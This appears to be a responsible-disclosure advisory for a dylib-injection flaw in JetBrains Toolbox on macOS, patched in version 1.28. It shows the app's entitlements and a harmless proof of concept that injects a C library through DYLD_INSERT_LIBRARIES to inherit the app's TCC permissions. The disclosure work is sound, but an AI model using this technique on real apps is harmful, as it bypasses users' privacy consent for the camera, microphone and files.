- Advisories
Patched in version 1.28
- General information
-- What is TCC?
TCC (Transparency, Consent and Control) is a security feature of macOS preventing apps from accessing sensitive data and hardware (e.g., microphone, camera, Desktop directory) without explicit consent from the user. Unlike Windows, where any app can access almost everything, and processes running at the same integrity level can open a handle and read/write virtual memory of each other, macOS defines much stricter security boundaries.
-- Why is injecting a dylib relevant?
Once given a TCC approval, the system remembers the choice in the TCC database. This means that if an app was granted, for example, Full Disk Access, it will have that permission until the user explicitly revokes it. If, however, someone were to inject a library into such process, they will be able to run code inside the privileged process, and, thus, inherit TCC permissions.
-- How is this protected by default?
macOS apps have entitlements that define their capabilities. Some entitlements can be freely used, but some are privileged and need explicit approval from Apple. macOS uses the dyld dynamic linker, and,
similar to ld on Linux, it has special environment variables. DYLD_INSERT_LIBRARIES can inject certain dylibs in the application before it starts (like LD_PRELOAD on Linux). Using such environment variables
is forbidden unless the app has the com.apple.security.cs.allow-dyld-environment-variables entitlement. This variable is not inherently risky, since macOS still performs library validation on all injected dylibs,
checking if the library is signed by Apple or by the same Team ID as the main executable.
The entitlement is dangerous when the app also carries com.apple.security.cs.disable-library-validation. This completely disables the library validation and allows any dylib to be injected.
- The exploit
-- Analysis
Let's analyze JetBrains Toolbox's entitlements using codesign:
➜ codesign -dv --entitlements :- /Applications/JetBrains\ Toolbox.app
Executable=/Applications/JetBrains Toolbox.app/Contents/MacOS/jetbrains-toolbox
Identifier=com.jetbrains.toolbox
Format=app bundle with Mach-O thin (arm64)
CodeDirectory v=20500 size=1697 flags=0x10000(runtime) hashes=42+7 location=embedded
Signature size=8981
Timestamp=27 Feb 2023 at 22:23:10
Info.plist entries=24
TeamIdentifier=2ZEFAR8TH3
Runtime Version=12.3.0
Sealed Resources version=2 rules=13 files=177
Internal requirements count=1 size=184
Warning: Specifying ':' in the path is deprecated and will not work in a future release
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-dyld-environment-variables</key>
<true/>
<key>com.apple.security.cs.allow-jit</key>
<true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
</dict>
</plist>The app allows injecting any unsigned dylib.
-- Proof of Concept
- Create a C file with a function that has the constructor attribute, for example:
#include <stdio.h>
__attribute__((constructor))
void init() {
puts("[+] Dylib constructor called!");
}- Compile it as dylib:
gcc -o exploit.dylib -dynamiclib exploit.c- Pass it to the environment variable:
DYLD_INSERT_LIBRARIES=exploit.dylib "/Applications/JetBrains Toolbox.app/Contents/MacOS/jetbrains-toolbox"- The puts call is executed, as shown in the following screenshot:
This is a harmless library, but now any TCC permission granted to the application can be abused by an attacker.
- Timeline
- 09 Mar 2023 - Initial report on JetBrains YouTrack (TBX-9047)
- 23 Mar 2023 - Vendor acknowledged the issue and implemented a fix
- 28 Apr 2023 - Patched version released, advisory published and CVE assigned